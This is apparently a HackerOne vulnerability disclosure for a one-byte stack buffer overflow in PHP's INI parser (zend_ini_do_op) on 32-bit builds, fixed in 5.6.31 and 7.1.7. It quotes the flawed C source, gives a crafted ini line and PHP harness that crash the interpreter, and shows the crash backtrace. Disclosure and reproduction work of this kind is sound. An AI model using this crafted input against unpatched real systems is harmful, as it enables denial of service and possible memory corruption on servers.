PHP (IBB): PHP INI Parsing Stack Buffer Overflow Vulnerability

2017-07-12T09:21:09
ID H1:248601
Type hackerone
Reporter xixabangm4
Modified 2019-10-14T04:35:45

Description

Description:

A stack buffer overflow exists in the latest stable release of PHP-7.1.5 and PHP-5.6.30 in PHP INI parsing API, which may accept network / local filesystem input. On malformed inputs, a stack buffer overflow in zend_ini_do_op() could write 1-byte off a fixed size stack buffer. On installations with the stack smashing mitigation, this would cause an immediate DoS; upto optimization levels, build options and stack buffer overflow mitigations, this vulnerability may allow corrupting other local variables or the frame pointer, potentially allows remotely executing code.

Impact:

Affects 32-bit builds of PHP 5 before 5.6.31 (ChangeLog) and PHP 7 before 7.1.7 (ChangeLog). Resolved PHP bug report, will update the pending CVE.

Exploitability:

If the specific build affected has built-in stack smashing mitigation, an immediate DoS can be expected. If no such mitigation in place, it is possible to overwrite one byte of the adjacent variable on stack, or the stack frame pointer, depending on compiler optimizations. The issue can be triggered via a crafted .ini file (not limited to php.ini - which is usually protected), an INI string that gets passed into parse_ini_string(), or the command-line option for INI string (not really a valid attack vector except for demonstration).

In php-7.1.5/Zend/zend_long.h: 110 #if SIZEOF_ZEND_LONG == 4 111 # define MAX_LENGTH_OF_LONG 11 112 # define LONG_MIN_DIGITS "2147483648" 113 #elif SIZEOF_ZEND_LONG == 8 114 # define MAX_LENGTH_OF_LONG 20 115 # define LONG_MIN_DIGITS "9223372036854775808" 116 #else 117 # error "Unknown SIZEOF_ZEND_LONG" 118 #endif In php-7.1.5/Zend/zend_ini_parser.c: 123 /* {{{ zend_ini_do_op() 124 */ 125 static void zend_ini_do_op(char type, zval *result, zval *op1, zval *op2) 126 { 127 int i_result; 128 int i_op1, i_op2; 129 int str_len; 130 char str_result[MAX_LENGTH_OF_LONG]; 131 132 i_op1 = atoi(Z_STRVAL_P(op1)); 133 zend_string_free(Z_STR_P(op1)); 134 if (op2) { 135 i_op2 = atoi(Z_STRVAL_P(op2)); 136 zend_string_free(Z_STR_P(op2)); 137 } else { 138 i_op2 = 0; 139 } 140 141 switch (type) { 142 case '|': 143 i_result = i_op1 | i_op2; 144 break; 145 case '&': 146 i_result = i_op1 & i_op2; 147 break; 148 case '^': 149 i_result = i_op1 ^ i_op2; 150 break; 151 case '~': 152 i_result = ~i_op1; 153 break; 154 case '!': 155 i_result = !i_op1; 156 break; 157 default: 158 i_result = 0; 159 break; 160 } 161 162 str_len = zend_sprintf(str_result, "%d", i_result); 163 ZVAL_NEW_STR(result, zend_string_init(str_result, str_len, ZEND_SYSTEM_INI)); 164 } 165 /* }}} */ The minimums, "-2147483648" and "-9223372036854775808" are of length 11 and 20 respectively, the proper definition of str_result[] array would be: str_result[MAX_LENGTH_OF_LONG + 1]. A crafted ini entry would cause an overflow.

Test script: ``` $ cat input.ini 0=0&~2000000000

$ cat input.php <?php

$argc = $_SERVER['argc']; $argv = $_SERVER['argv'];

$file_loc = dirname(FILE)."/".$argv[1];

var_dump(parse_ini_file($file_loc, true, INI_SCANNER_NORMAL));

?> To reproduce: $ bin/php input.php input.ini

buffer overflow detected : bin/php terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x68e4e)[0xb7527e4e] /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x6b)[0xb75ba85b] /lib/i386-linux-gnu/libc.so.6(+0xfa6ea)[0xb75b96ea] /lib/i386-linux-gnu/libc.so.6(+0xf9e48)[0xb75b8e48] /lib/i386-linux-gnu/libc.so.6(_IO_default_xsputn+0x8e)[0xb752fc0e] /lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x89b)[0xb7502f3b] /lib/i386-linux-gnu/libc.so.6(__vsprintf_chk+0xb1)[0xb75b8f01] /lib/i386-linux-gnu/libc.so.6(__sprintf_chk+0x2f)[0xb75b8e2f] bin/php[0x82e7aa0] bin/php[0x82e87d3] bin/php(zend_parse_ini_file+0x47)[0x82e8b07] bin/php[0x8255788] bin/php[0x83631f6] bin/php(execute_ex+0x22)[0x8353c52] bin/php(zend_execute+0x13b)[0x83a341b] bin/php(zend_execute_scripts+0x30)[0x8313010] bin/php(php_execute_script+0x286)[0x82b3f26] bin/php[0x83a57de] bin/php[0x80683b9] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb74d8a83] bin/php[0x8068444] ======= Memory map: ======== 08048000-0888d000 r-xp 00000000 08:01 704181 /home/weilei/php7_gdb/bin/php 0888d000-0888e000 r--p 00844000 08:01 704181 /home/weilei/php7_gdb/bin/php 0888e000-08899000 rw-p 00845000 08:01 704181 /home/weilei/php7_gdb/bin/php 08899000-088b2000 rw-p 00000000 00:00 0 09ae7000-09b9a000 rw-p 00000000 00:00 0 [heap] b7000000-b7200000 r--p 00000000 08:01 271314 /usr/lib/locale/locale-archive b7200000-b7400000 rw-p 00000000 00:00 0 b7464000-b7480000 r-xp 00000000 08:01 787579 /lib/i386-linux-gnu/libgcc_s.so.1 b7480000-b7481000 rw-p 0001b000 08:01 787579 /lib/i386-linux-gnu/libgcc_s.so.1 b7496000-b74bf000 rw-p 00000000 00:00 0 b74bf000-b7667000 r-xp 00000000 08:01 787552 /lib/i386-linux-gnu/libc-2.19.so b7667000-b7669000 r--p 001a8000 08:01 787552 /lib/i386-linux-gnu/libc-2.19.so b7669000-b766a000 rw-p 001aa000 08:01 787552 /lib/i386-linux-gnu/libc-2.19.so b766a000-b766d000 rw-p 00000000 00:00 0 b766d000-b7670000 r-xp 00000000 08:01 787569 /lib/i386-linux-gnu/libdl-2.19.so b7670000-b7671000 r--p 00002000 08:01 787569 /lib/i386-linux-gnu/libdl-2.19.so b7671000-b7672000 rw-p 00003000 08:01 787569 /lib/i386-linux-gnu/libdl-2.19.so b7672000-b7673000 rw-p 00000000 00:00 0 b7673000-b76b7000 r-xp 00000000 08:01 787602 /lib/i386-linux-gnu/libm-2.19.so b76b7000-b76b8000 r--p 00043000 08:01 787602 /lib/i386-linux-gnu/libm-2.19.so b76b8000-b76b9000 rw-p 00044000 08:01 787602 /lib/i386-linux-gnu/libm-2.19.so b76b9000-b76cc000 r-xp 00000000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so b76cc000-b76cd000 ---p 00013000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so b76cd000-b76ce000 r--p 00013000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so b76ce000-b76cf000 rw-p 00014000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so b76cf000-b76e4000 rw-p 00000000 00:00 0 b76e4000-b76e5000 r--s 00000000 08:01 554280 /home/weilei/php7_gdb/input.ini b76e5000-b76e6000 r--p 00855000 08:01 271314 /usr/lib/locale/locale-archive b76e6000-b76e8000 rw-p 00000000 00:00 0 b76e8000-b76ea000 r--p 00000000 00:00 0 [vvar] b76ea000-b76ec000 r-xp 00000000 00:00 0 [vdso] b76ec000-b770c000 r-xp 00000000 08:01 787528 /lib/i386-linux-gnu/ld-2.19.so b770c000-b770d000 r--p 0001f000 08:01 787528 /lib/i386-linux-gnu/ld-2.19.so b770d000-b770e000 rw-p 00020000 08:01 787528 /lib/i386-linux-gnu/ld-2.19.so bff25000-bff47000 rw-p 00000000 00:00 0 [stack] Aborted ```